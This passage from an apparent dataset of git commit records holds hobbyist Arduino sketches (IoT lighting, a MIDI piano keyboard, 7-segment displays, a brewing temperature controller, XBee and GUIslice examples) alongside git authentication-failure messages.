original\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Keypad-MC17-4x4\/Keypad-MC17-4x4.ino","new_file":"Keypad-MC17-4x4\/Keypad-MC17-4x4.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0bd2a8931151e1c9dab976dc2b865be63b31b639","subject":"working","message":"working\n","repos":"nburns\/tractor","old_file":"sketch\/sketch.ino","new_file":"sketch\/sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nburns\/tractor.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"efbce475e632d4711559c3730824ba23471457dd","subject":"Add switchesAndLEDs examples","message":"Add switchesAndLEDs examples\n","repos":"rlisle\/Patriot,rlisle\/ParticleIoT,rlisle\/Patriot,rlisle\/ParticleIoT,rlisle\/ParticleIoT,rlisle\/Patriot,rlisle\/Patriot","old_file":"Photon\/IoTlib\/examples\/switchesAndLEDs\/switchesAndLEDs.ino","new_file":"Photon\/IoTlib\/examples\/switchesAndLEDs\/switchesAndLEDs.ino","new_contents":"\/*******************************************************\nSwitches and LEDs ParticleIoT Example\n\nThis example contains 4 switches and 4 LEDs:\n\n * 4 LED Lights\n - Red = garage A3 Photon pin 9\n - Green = kitchen RX Photon pin 4\n - Blue = living room TX Photon pin 3\n - Amber = bedroom WKP Photon pin 5\n\n * 4 Switches\n - Switch 1 D4 Photon pin 17\n - Switch 2 D5 Photon pin 18\n - Switch 3 D6 Photon pin 19\n - Switch 4 D7 Photon pin 20\n\nhttp:\/\/www.github.com\/rlisle\/ParticleIoT\n\nWritten by Ron Lisle\n\nBSD license, check LICENSE for more information.\nAll text above must be included in any redistribution.\n\nChangelog:\n2017-03-11: Created switch & leds\n2017-03-07: Initial creation\n********************************************************\/\n\n\/****************\/\n\/*** INCLUDES ***\/\n\/****************\/\n#include <IoT.h>\n\n\/*****************\/\n\/*** CONSTANTS ***\/\n\/*****************\/\n\/\/ LED pins\n#define kLed1Pin A3 \/\/ pin 9\n#define kLed2Pin RX \/\/ pin 4\n#define kLed3Pin TX \/\/ pin 3\n#define kLed4Pin WKP \/\/ pin 5\n\n\/\/ LED light names\n#define kLight1 \"garage\" \/\/ Can be any name you want\n#define kLight2 \"kitchen\" \/\/ \"\n#define kLight3 \"livingroom\" \/\/ \"\n#define kLight4 \"bedroom\" \/\/ \"\n\n\/\/ Switch pins\n#define kSwitch1Pin D4 \/\/ pin 17 Can be any event you want\n#define kSwitch2Pin D5 \/\/ pin 18\n#define kSwitch3Pin D6 \/\/ pin 19\n#define kSwitch4Pin D7 \/\/ pin 20\n\n\/\/ Event names can be anything you want, but should indicate activity\n\/\/ and not just the name of an appliance.\n#define kEvent1 \"sleep\" \/\/ Turn off all lights except night lights\n#define kEvent2 \"watchtv\" \/\/ Dim living room lights\n#define kEvent3 \"cook\" \/\/ Turn on kitchen lights, fan\n#define kEvent4 \"bedtime\" \/\/ Turn on bedroom lights, all others off\n#define kEvent5 \"kitchen\" \/\/ Kitchen temp & humidity\n\n\/*****************\/\n\/*** VARIABLES ***\/\n\/*****************\/\nIoT *iot;\n\n\/*************\/\n\/*** SETUP ***\/\n\/*************\/\nvoid setup() {\n initializeIoT();\n addLights();\n addSwitches();\n\n iot->exposeControllers();\n iot->exposeActivities();\n}\n\nvoid initializeIoT() {\n iot = IoT::getInstance();\n iot->setControllerName(\"lislerv\");\n iot->setPublishName(\"RonTest\");\n iot->begin();\n}\n\nvoid addSwitches() {\n iot->addSwitch(kSwitch4Pin, kEvent4);\n iot->addSwitch(kSwitch3Pin, kEvent3);\n iot->addSwitch(kSwitch2Pin, kEvent2);\n iot->addSwitch(kSwitch1Pin, kEvent1);\n}\n\nvoid addLights() {\n iot->addLight(kLed1Pin, kLight1);\n iot->addLight(kLed2Pin, kLight2);\n iot->addLight(kLed3Pin, kLight3);\n iot->addLight(kLed4Pin, kLight4);\n}\n\n\/************\/\n\/*** LOOP ***\/\n\/************\/\nvoid loop() {\n iot->loop(millis());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Photon\/IoTlib\/examples\/switchesAndLEDs\/switchesAndLEDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a3ec45b896d59cec9bb3ee87cde04c0eb2f9e1a3","subject":"First working version of the arduino code.","message":"First working version of the arduino code.\n","repos":"malkam03\/Pianoduino","old_file":"Pianoduino.ino","new_file":"Pianoduino.ino","new_contents":"\/**\n * <h1>Pianoduino<\/h1>\n * 61 key MIDI Keyboard with Arduino Uno Code, 24 shiftout outputs, 24 shiftin inputs\n * 1 resistive touchscreen and 16 analog I\/O. \n * @author Malcolm Davis\n * @version 0.1\n * @since 2017-02-03\n *\/\n \/\/Arduino Pins\n static const int muxAPin = 5;\n static const int muxBPin = 4;\n static const int muxCPin = 3;\n static const int muxReadPin = A0;\n static const int inClkPin = 7; \/\/Shift in clock\n static const int loadPin = 6; \/\/Shift in or load input. When high data, shifted. When Low data is loaded from parallel inputs.\n static const int inEnPin = 8; \/\/Active low\n static const int inReadPin = 9;\n static const int dataPin = 11;\n static const int outClkPin = 12;\n static const int latchPin = 10;\n \/\/If a Analog mux is added, just connect the control pins in parallel and add the En pin to the list.\n static const int muxEn [] = {2};\n \n \/\/Constants\n int mask[] = { B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000 };\/\/To read the columns values\n int blank = B00000000;\/\/To send blank to the register.\n byte noteOn = B10010000;\n byte noteOff = B10000000;\n byte pitchBend = B11100001;\n static const byte keyMidi[144]={0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n B00101000, B00101000, B00101001, B00101001, B00101010, B00101010, B00101011, B00101011, B00101100, B00101100, B00100111, B00100111,\n B00101110, B00101110, B00101111, B00101111, B00110000, B00110000, 0, 0, 0, 0, B00101101, B00101101,\n B00111010, B00111010, B00111011, B00111011, 0, 0, B00110111, B00110111, B00111000, B00111000, B00111001, B00111001,\n B00110100, B00110100, B00110101, B00110101, B00110110, B00110110, B00110001, B00110001, B00110010, B00110010, B00110011, B00110011,\n B01010010, B01010010, B01010011, B01010011, B01010100, B01010100, B01001111, B01001111, B01010000, B01010000, B01010001, B01010001,\n B01001100, B01001100, B01001101, B01001101, B01001110, B01001110, B01001001, B01001001, B01001010, B01001010, B01001011, B01001011,\n B01000110, B01000110, B01000111, B01000111, B01001000, B01001000, B01000011, B01000011, B01000100, B01000100, B01000101, B01000101,\n B01000000, B01000000, B01000001, B01000001, B01000010, B01000010, B00111101, B00111101, B00111110, B00111110, B00111111, B00111111,\n 0, 0, 0, 0, B00111100, B00111100, 0, 0, 0, 0, 0, 0\n };\n \n \/\/Variables\n int actualPin = 0;\n static bool sValue[] = {0, 0, 0}; \/\/ S0, S1, S2 values\n int noteVelocity [144];\n bool keyState[144];\n bool rowsRead []= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n \n \/** \n * Method to setup the pins and stuffs of the pianoduino.\n * @param none\n * @return void\n *\/\nvoid setup() {\n int i;\n Serial.begin(115200);\n pinMode(muxAPin, OUTPUT);\n pinMode(muxBPin, OUTPUT);\n pinMode(muxCPin, OUTPUT);\n pinMode(inClkPin, OUTPUT);\n pinMode(loadPin, OUTPUT);\n pinMode(inEnPin, OUTPUT);\n pinMode(inReadPin, INPUT);\n pinMode(dataPin, OUTPUT);\n pinMode(latchPin, OUTPUT);\n pinMode(outClkPin, OUTPUT);\n for (i=0; i< sizeof(muxEn)\/sizeof(int); i++) {\n pinMode(muxEn[i], OUTPUT);\n }\n for (i=0; i<sizeof(noteVelocity)\/sizeof(int);i++){\n noteVelocity[i]=127;\n }\n for (i=0; i<sizeof(keyState)\/sizeof(bool);i++){\n noteVelocity[i]=0;\n }\n digitalWrite(loadPin,HIGH); \/\/On HIGH is read ready\n delay(1000);\n}\n\n\n\/**\n * Method to select a pin of a mux\n * @param pPin: the mux pin that you want to write or read.\n * @param pMuxEn: the pin of the mux that you want to read from.\n * @return void\n *\/\nvoid muxToPin(int pPin, int pMuxEn){\n sValue[0] = bitRead(pPin, 0);\n sValue[1] = bitRead(pPin, 1);\n sValue[2] = bitRead(pPin, 2);\n for(int i=0; i < sizeof(muxEn)\/sizeof(int);i++){\n digitalWrite(muxEn[i], HIGH);\n }\n digitalWrite(pMuxEn, LOW);\n digitalWrite(muxAPin, sValue[0]);\n digitalWrite(muxBPin, sValue[1]);\n digitalWrite(muxCPin, sValue[2]);\n}\n\n\/**\n * Method to shift the registers to a matrix column\n * @param pColumn the column you wish to shift to.\n * @return void\n *\/\nvoid shiftToColumn(int pColumn){\n digitalWrite(latchPin, LOW);\n if(pColumn <8){\n shiftOut(dataPin, outClkPin, MSBFIRST, mask[pColumn]);\n shiftOut(dataPin, outClkPin, MSBFIRST, blank);\n shiftOut(dataPin, outClkPin, MSBFIRST, mask[pColumn]);\n }else{\n shiftOut(dataPin, outClkPin, MSBFIRST, mask[pColumn%8]);\n shiftOut(dataPin, outClkPin, MSBFIRST, mask[pColumn%8]);\n shiftOut(dataPin, outClkPin, MSBFIRST, blank);\n }\n digitalWrite(latchPin, HIGH);\n delayMicroseconds(5);\n}\n\n\/**\n * Main loop method\n * @param none\n * @return void\n *\/\nvoid loop() {\n \/**for(int i=0; i<8; i++){\n Serial.print(\"Y\");\n Serial.print(i);\n Serial.print(\": \");\n muxToPin(i, muxEn[0]);\n delay(4000);\n Serial.println( (map(analogRead(muxReadPin), 0, 1023, 0, 127)));\n Serial.print(sValue[2]);\n Serial.print(\" \");\n Serial.print(sValue[1]);\n Serial.print(\" \");\n Serial.println(sValue[0]);\n }*\/\n for (int i =0; i<16; i++){\n shiftToColumn(i);\n scanRows();\n for(int j = 0; j < sizeof(rowsRead)\/sizeof(byte);j++){\n if(i<12){\n if(rowsRead[j]&&!keyState[i+12*j]){\n keyState[i+12*j] = 1;\n if((i+12*j)%2==0){\n keyState[i+12*j+1]=1;\n }else{\n keyState[i+12*j-1]=1;\n }\n updateVelocity(i+12*j);\n midiSend(noteOn, keyMidi[i+12*j], 127);\n }else{\n if(keyState[i+12*j]&&!rowsRead[j]){\n keyState[i+12*j] = 0;\n midiSend(noteOff, keyMidi[i+12*j], 0);\n noteVelocity[i+12*j]=0;\n if((i+12*j)%2==0){\n noteVelocity[i+12*j+1]=0;\n }else{\n noteVelocity[i+12*j-1]=0;\n }\n }\n }\n }\n else{\n \/\/The other buttons..\n }\n }\n }\n}\n\n\/**\n * Method that updates the velocity of a note.\n * @param pPos the position of the note in the array.\n *\/\nvoid updateVelocity(int pPos){\n return ;\n}\n\n\/**\n * Method to scan the values of all the inputs of the shiftregisters\n *\/\nvoid scanRows(){\n digitalWrite(loadPin, LOW); \/\/On Low the parallel data is collected\n delayMicroseconds(5); \n digitalWrite(loadPin,HIGH); \/\/On HIGH is read ready\n delayMicroseconds(5);\n digitalWrite(inEnPin, LOW); \/\/Active Low\n shiftIn(inReadPin, inClkPin);\n digitalWrite(inEnPin, HIGH); \/\/Active Low\n}\n\n\/**\n * Shift in modification method to read varius shift registers.\n * @param pDatapin the pin to read.\n * @param pClk the shift registers clock pin.\n *\/\n void shiftIn(int pDatapin, int pClk){\n for (int i = sizeof(rowsRead)\/sizeof(byte)-1; i >=0 ;i--)\n {\n digitalWrite(inClkPin, LOW);\n delayMicroseconds(5);\n rowsRead[i] = digitalRead(inReadPin);\n digitalWrite(inClkPin, HIGH);\n }\n }\n\n\n\/**\n * Method to send the midi messega.\n * @param pCmd the midi command code. \n * @param pPitch the pitch of the note.\n * @param pVelocity of the note.\n * @return void\n *\/\nvoid midiSend(byte pCmd, byte pPitch, byte pVelocity) {\n Serial.write(pCmd);\n Serial.write(pPitch);\n Serial.write(pVelocity);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pianoduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d32676ebf66391490bf13857642bc55bf007bfd","subject":"Update","message":"Update\n","repos":"Haellsigh\/Quadcopter","old_file":"Quadcopter.ino","new_file":"Quadcopter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Haellsigh\/Quadcopter.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f7c942f3945168e7896a7fe44225f58e524fee6d","subject":"add arduino digital matrix writter","message":"add arduino digital matrix writter\n","repos":"mikanchu\/meteopy","old_file":"arduinosrc\/write_digital_matrix\/write_digital_segments.ino","new_file":"arduinosrc\/write_digital_matrix\/write_digital_segments.ino","new_contents":"const int sensorPin= A0;\/\/The analog sensor is connected to analog pin 0 of the arduino\n\n\/\/ABCDEFG,dp\nconst int numeral[10]= {\nB11111100, \/\/0\nB01100000, \/\/1\nB11011010, \/\/2\nB11110010, \/\/3\nB01100110, \/\/4\nB10110110, \/\/5\nB00111110, \/\/6\nB11100000, \/\/7\nB11111110, \/\/8\nB11100110, \/\/9\n};\n\n\/\/pins for decimal point and each segment\n\/\/dp, G, F, E, D, C, B, A\nconst int segmentPins[]= { 4, 7, 8, 6, 5, 3, 2, 9};\n\/\/ Dx de la placa\n\nconst int numberofDigits=4;\n\nconst int digitPins[numberofDigits] = { 10, 11, 12, 13}; \/\/digits 1, 2, 3, 4\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n for (int i=0; i < 8; i++)\n pinMode(segmentPins[i], OUTPUT); \/\/set segment and DP pins to output\n \n \/\/sets the digit pins as outputs\n for (int i=0; i < numberofDigits; i++)\n pinMode(digitPins[i], OUTPUT);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int value= analogRead(sensorPin);\n float temp = (value\/1024.0)*5000;\n float cel = temp\/10;\n showNumber(cel);\n \/\/Serial.println(cel);\n \/\/Serial.println(value);\n \/\/delay(1000);\n}\n\nvoid showNumber (int number)\n{\n if (number == 0)\n showDigit (0, numberofDigits-1); \/\/display 0 in the rightmost digit\n else\n {\n for (int digit= numberofDigits-1; digit >=0; digit--)\n {\n if (number > 0)\n {\n showDigit(number % 10, digit);\n number= number\/10;\n }\n }\n }\n}\n\n\/\/Displays given number on a 7-segment display at the given digit position\nvoid showDigit (int number, int digit)\n{\n digitalWrite(digitPins[digit], HIGH);\n for (int segment= 1; segment < 8; segment++)\n {\n boolean isBitSet= bitRead(numeral[number], segment);\n \n isBitSet= ! isBitSet; \/\/remove this line if common cathode display\n digitalWrite(segmentPins[segment], isBitSet);\n }\n delay(1);\n digitalWrite(digitPins[digit], LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinosrc\/write_digital_matrix\/write_digital_segments.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47982fd6ccdff8ce26915b2a37528f31a853a478","subject":"First draft of Arduino code.","message":"First draft of Arduino code.\n","repos":"steinar\/r2dbrew","old_file":"arduino\/test_ard\/test_ard.ino","new_file":"arduino\/test_ard\/test_ard.ino","new_contents":"#include <OneWire.h>\n\nconst int buffer_size = 128;\nchar buffer[128];\nunsigned int read_pos = 0;\nunsigned int write_pos = 0;\n\nunsigned int temp = 99;\n\nint greenLed = 10;\nint redLed = 11;\nint leds[2] = {greenLed, redLed};\n\nint heater_pins[2] = {12,13};\nint heater_led_pins[2] = {10,11};\n\n#pragma pack(push, 1)\nstruct Header {\n unsigned short msg_size;\n char msg_type;\n};\n\nstruct HeaterCommand {\n char heater_idx;\n bool heater_status;\n};\n\nstruct LedCommand {\n char led_idx;\n bool led_status;\n};\n\nstruct TempUpdate {\n char temp;\n};\n#pragma pack(pop)\n\nOneWire ds(7);\nbyte tempAddr[8];\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(greenLed, OUTPUT);\n pinMode(redLed, OUTPUT);\n read_pos = 0;\n write_pos = 0;\n tempAddr[0] = 0;\n}\n\nint readTemperature()\n{\n byte data[12];\n \n if (tempAddr[0] == 0)\n {\n if ( !ds.search(tempAddr)) { \n \/\/ Found no address\n tempAddr[0] = 0;\n ds.reset_search();\n return 0;\n }\n \n if (OneWire::crc8(tempAddr, 7) != tempAddr[7]) {\n tempAddr[0] = 0;\n return 0;\n }\n }\n \n ds.reset();\n ds.select(tempAddr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n \n delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n \n ds.reset();\n ds.select(tempAddr); \n ds.write(0xBE); \/\/ Read Scratchpad\n \n for ( int i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n }\n \n int16_t raw = (data[1] << 8) | data[0];\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n return (float)raw \/ 16.0;\n}\n\nvoid loop() { \n temp = readTemperature();\n \n while (Serial.available() > 0 && write_pos < buffer_size - 1) {\n buffer[write_pos++] = Serial.read();\n }\n\n while (write_pos - read_pos >= sizeof(struct Header)) {\n struct Header * hdr = (struct Header *)(buffer + read_pos);\n \n if (sizeof(struct Header) + hdr->msg_size > write_pos - read_pos)\n break;\n \n switch (hdr->msg_type)\n {\n case 'H': \/\/ HEATER\n {\n struct HeaterCommand * cmd = (struct HeaterCommand *)(buffer + read_pos + sizeof(struct Header));\n \/\/digitalWrite(heater_pins[cmd->heater_idx], cmd->heater_status ? HIGH : LOW);\n digitalWrite(heater_led_pins[cmd->heater_idx], cmd->heater_status ? HIGH : LOW);\n }\n break;\n case 'B': \/\/ BEEP\n \/\/ TODO beep\n break;\n case 'L': \/\/ LED COMMAND\n {\n struct LedCommand * cmd = (struct LedCommand *)(buffer + read_pos + sizeof(struct Header));\n digitalWrite(leds[cmd->led_idx], cmd->led_status ? HIGH : LOW);\n }\n break;\n case 'D': \/\/ DISPLAY LCD\n \/\/ TODO display message\n break;\n }\n \n read_pos += sizeof(struct Header) + hdr->msg_size;\n }\n \n if (read_pos > 0)\n {\n unsigned int remaining = write_pos - read_pos;\n for (int i = 0; i < remaining; i++)\n buffer[i] = buffer[read_pos+i]; \n read_pos = 0;\n write_pos = remaining;\n }\n\n char out_buffer[128];\n struct Header * hdr = (struct Header *)out_buffer;\n hdr->msg_type = 't';\n hdr->msg_size = 1;\n struct TempUpdate * upd = (struct TempUpdate *)(out_buffer + sizeof(struct Header));\n upd->temp = temp;\n \n for (int i = 0; i < sizeof(struct Header) + sizeof(struct TempUpdate); i++)\n Serial.write(out_buffer[i]);\n \n \/\/delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/test_ard\/test_ard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fddab36487fcaf83804f1d400487b7827c8afa6a","subject":"[new] test sending millis()","message":"[new] test sending millis()\n","repos":"CURocketry\/LaunchVehicleController,CURocketry\/LaunchVehicleController2015","old_file":"xbee_test_millis.ino","new_file":"xbee_test_millis.ino","new_contents":"#include <SoftwareSerial.h>\n\n#define PAYLOAD_SIZE 4\n\nbyte *payload;\n\n\/\/ XBee's DOUT (TX) is connected to pin 2 (Arduino's Software RX)\n\/\/ XBee's DIN (RX) is connected to pin 3 (Arduino's Software TX)\nSoftwareSerial XBee(2,3); \/\/ RX, TX\n\nvoid setup()\n{\n \/\/ Set up both ports at 9600 baud. This value is most important\n \/\/ for the XBee. Make sure the baud rate matches the config\n \/\/ setting of your XBee.\n XBee.begin(9600);\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n delay(500);\n \n \/\/millis() returns an unsigned long\n payload = longToBytes(millis()); \/\/convert an unsigned long to an array of bytes\n \n XBee.write(payload, PAYLOAD_SIZE); \/\/size is always size of unsigned long, 4 bytes\n free(payload); \/\/prevent memory leak\n}\n\n\/\/convert a long to a byte array of length 4\nbyte* longToBytes(unsigned long n) {\n byte* array = new byte[4]; \n \n for (int i=0; i<4; i++) {\n array[i] = 0xFF & n;\n n = n >> 8;\n }\n return array;\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'xbee_test_millis.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ad0e183c50ce3eb0f77381fcb4db73392dd650ad","subject":"7 segment test","message":"7 segment test\n","repos":"mkeller0815\/VC4000MultiROM","old_file":"firmware\/old\/_7SegmentOutTest\/_7SegmentOutTest.ino","new_file":"firmware\/old\/_7SegmentOutTest\/_7SegmentOutTest.ino","new_contents":"#define OE A2\n#define LATCH A3\n#define CLK A4\n#define DATA A5\n\n\n\/\/This is the hex value of each number stored in an array by index num\nbyte digitOne[10]= {0x6F, 0x09, 0x73, 0x3B, 0x1D, 0x3E, 0x7C, 0x0B, 0x7F, 0x1F};\nbyte digitTwo[10]= {0x7B, 0x11, 0x67, 0x37, 0x1D, 0x3E, 0x7C, 0x13, 0x7F, 0x1F};\n\nint i;\n\nvoid setup(){\n \n pinMode(LATCH, OUTPUT);\n pinMode(CLK, OUTPUT);\n pinMode(DATA, OUTPUT);\n pinMode(OE, OUTPUT);\n digitalWrite(OE,LOW);\n}\n\nvoid loop(){\n \n for(int i=0; i<10; i++){\n for(int j=0; j<10; j++){\n digitalWrite(LATCH, LOW);\n shiftOut(DATA, CLK, MSBFIRST, ~digitTwo[i]); \/\/ digitTwo\n shiftOut(DATA, CLK, MSBFIRST, ~digitOne[j]); \/\/ digitOne\n digitalWrite(LATCH, HIGH);\n delay(500);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/old\/_7SegmentOutTest\/_7SegmentOutTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"06ec85e9bd88c8a20008813ff74c43c0abd6e778","subject":"Add ex09_ard_radial: demonstrate radial and ramp controls","message":"Add ex09_ard_radial: demonstrate radial and ramp controls\n","repos":"ImpulseAdventure\/GUIslice,ImpulseAdventure\/GUIslice","old_file":"examples\/arduino\/ex09_ard_radial\/ex09_ard_radial.ino","new_file":"examples\/arduino\/ex09_ard_radial\/ex09_ard_radial.ino","new_contents":"\/\/\n\/\/ GUIslice Library Examples\n\/\/ - Calvin Hass\n\/\/ - https:\/\/www.impulseadventure.com\/elec\/guislice-gui.html\n\/\/ - https:\/\/github.com\/ImpulseAdventure\/GUIslice\n\/\/ - Example 09 (Arduino):\n\/\/ Demonstrate radial and ramp controls\n\/\/ NOTE: The radial and ramp controls are disabled by default, but can\n\/\/ be enabled by GSLC_FEATURE_XGAUGE_RADIAL & GSLC_FEATURE_XGAUGE_RAMP\n\/\/ in the user config.\n\/\/ NOTE: The ramp control is intended only as a demonstration of\n\/\/ a custom control and not intended to be used\n\/\/ - NOTE: This is the simple version of the example without\n\/\/ optimizing for memory consumption. Therefore, it may not\n\/\/ run on Arduino devices with limited memory. A \"minimal\"\n\/\/ version is located in the \"arduino_min\" folder which includes\n\/\/ FLASH memory optimization for reduced memory devices.\n\/\/\n\/\/ ARDUINO NOTES:\n\/\/ - GUIslice_config.h must be edited to match the pinout connections\n\/\/ between the Arduino CPU and the display controller (see ADAGFX_PIN_*).\n\/\/\n\n#include \"GUIslice.h\"\n#include \"GUIslice_drv.h\"\n\n\/\/ Include any extended elements\n#include \"elem\/XGauge.h\"\n#include \"elem\/XSlider.h\"\n\n\/\/ Ensure optional features are enabled in the configuration\n#if !(GSLC_FEATURE_XGAUGE_RADIAL)\n #error \"Config: GSLC_FEATURE_XGAUGE_RADIAL required for this example but not enabled. Please update GUIslice_config.\"\n#endif\n#if !(GSLC_FEATURE_XGAUGE_RAMP)\n #error \"Config: GSLC_FEATURE_XGAUGE_RAMP required for this example but not enabled. Please update GUIslice_config.\"\n#endif\n\n\/\/ Defines for resources\n\n\/\/ Enumerations for pages, elements, fonts, images\nenum { E_PG_MAIN };\nenum {\n E_ELEM_BOX, E_ELEM_BTN_QUIT, E_ELEM_COLOR,\n E_RADIAL, E_RAMP, E_SLIDER, E_ELEM_TXT_COUNT\n};\nenum { E_FONT_BTN, E_FONT_TXT, E_FONT_TITLE };\n\nbool m_bQuit = false;\n\n\/\/ Free-running counter for display\nunsigned m_nCount = 0;\n\n\/\/ Instantiate the GUI\n#define MAX_PAGE 1\n#define MAX_FONT 3\n\n\/\/ Define the maximum number of elements per page\n#define MAX_ELEM_PG_MAIN 8 \/\/ # Elems total\n#define MAX_ELEM_PG_MAIN_RAM MAX_ELEM_PG_MAIN \/\/ # Elems in RAM\n\ngslc_tsGui m_gui;\ngslc_tsDriver m_drv;\ngslc_tsFont m_asFont[MAX_FONT];\ngslc_tsPage m_asPage[MAX_PAGE];\ngslc_tsElem m_asPageElem[MAX_ELEM_PG_MAIN_RAM]; \/\/ Storage for all elements in RAM\ngslc_tsElemRef m_asPageElemRef[MAX_ELEM_PG_MAIN]; \/\/ References for all elements in GUI\n\ngslc_tsXGauge m_sXRadial, m_sXRamp;\ngslc_tsXSlider m_sXSlider;\n\n\/\/ Current RGB value for color box\n\/\/ - Globals defined here for convenience so that callback\n\/\/ can update R,G,B components independently\nuint8_t m_nPosR = 255;\nuint8_t m_nPosG = 128;\nuint8_t m_nPosB = 0;\n\n\/\/ Define debug message function\nstatic int16_t DebugOut(char ch) { Serial.write(ch); return 0; }\n\n\/\/ Quit button callback\nbool CbBtnQuit(void* pvGui, void *pvElemRef, gslc_teTouch eTouch, int16_t nX, int16_t nY)\n{\n if (eTouch == GSLC_TOUCH_UP_IN) {\n m_bQuit = true;\n }\n return true;\n}\n\nbool CbSlideRadial(void* pvGui, void* pvElemRef, int16_t nPos)\n{\n gslc_tsGui* pGui = (gslc_tsGui*)(pvGui);\n gslc_tsElemRef* pElemRef = (gslc_tsElemRef*)(pvElemRef);\n gslc_tsElem* pElem = gslc_GetElemFromRef(pGui, pElemRef);\n\n char acTxt[8];\n int16_t nVal;\n\n \/\/ Fetch the new RGB component from the slider\n gslc_tsElemRef* pElemRefTmp = NULL;\n switch (pElem->nId) {\n case E_SLIDER:\n nVal = gslc_ElemXSliderGetPos(pGui, pElemRef);\n\n \/\/ Link slider to the radial control\n pElemRefTmp = gslc_PageFindElemById(pGui, E_PG_MAIN, E_RADIAL);\n gslc_ElemXGaugeUpdate(pGui, pElemRefTmp, nVal);\n\n \/\/ Link slider to the ramp control\n pElemRefTmp = gslc_PageFindElemById(pGui, E_PG_MAIN, E_RAMP);\n gslc_ElemXGaugeUpdate(pGui, pElemRefTmp, nVal);\n\n \/\/ Link slider to the numerical display\n snprintf(acTxt, 8, \"%u\", nVal);\n pElemRefTmp = gslc_PageFindElemById(pGui, E_PG_MAIN, E_ELEM_TXT_COUNT);\n gslc_ElemSetTxtStr(pGui, pElemRefTmp, acTxt);\n break;\n\n default:\n break;\n }\n return true;\n}\n\n\n\/\/ Create page elements\nbool InitOverlays()\n{\n gslc_tsElemRef* pElemRef = NULL;\n\n gslc_PageAdd(&m_gui, E_PG_MAIN, m_asPageElem, MAX_ELEM_PG_MAIN_RAM, m_asPageElemRef, MAX_ELEM_PG_MAIN);\n\n \/\/ Background flat color\n gslc_SetBkgndColor(&m_gui, GSLC_COL_GRAY_DK2);\n\n \/\/ Create Title with offset shadow\n pElemRef = gslc_ElemCreateTxt(&m_gui, GSLC_ID_AUTO, E_PG_MAIN, (gslc_tsRect) { 2, 2, 320, 50 },\n (char*)\"Directional\", 0, E_FONT_TITLE);\n gslc_ElemSetTxtCol(&m_gui, pElemRef, (gslc_tsColor) { 32, 32, 60 });\n gslc_ElemSetTxtAlign(&m_gui, pElemRef, GSLC_ALIGN_MID_MID);\n gslc_ElemSetFillEn(&m_gui, pElemRef, false);\n pElemRef = gslc_ElemCreateTxt(&m_gui, GSLC_ID_AUTO, E_PG_MAIN, (gslc_tsRect) { 0, 0, 320, 50 },\n (char*)\"Directional\", 0, E_FONT_TITLE);\n gslc_ElemSetTxtCol(&m_gui, pElemRef, (gslc_tsColor) { 128, 128, 240 });\n gslc_ElemSetTxtAlign(&m_gui, pElemRef, GSLC_ALIGN_MID_MID);\n gslc_ElemSetFillEn(&m_gui, pElemRef, false);\n\n \/\/ Create background box\n pElemRef = gslc_ElemCreateBox(&m_gui, E_ELEM_BOX, E_PG_MAIN, (gslc_tsRect) { 10, 50, 300, 180 });\n gslc_ElemSetCol(&m_gui, pElemRef, GSLC_COL_WHITE, GSLC_COL_BLACK, GSLC_COL_BLACK);\n\n pElemRef = 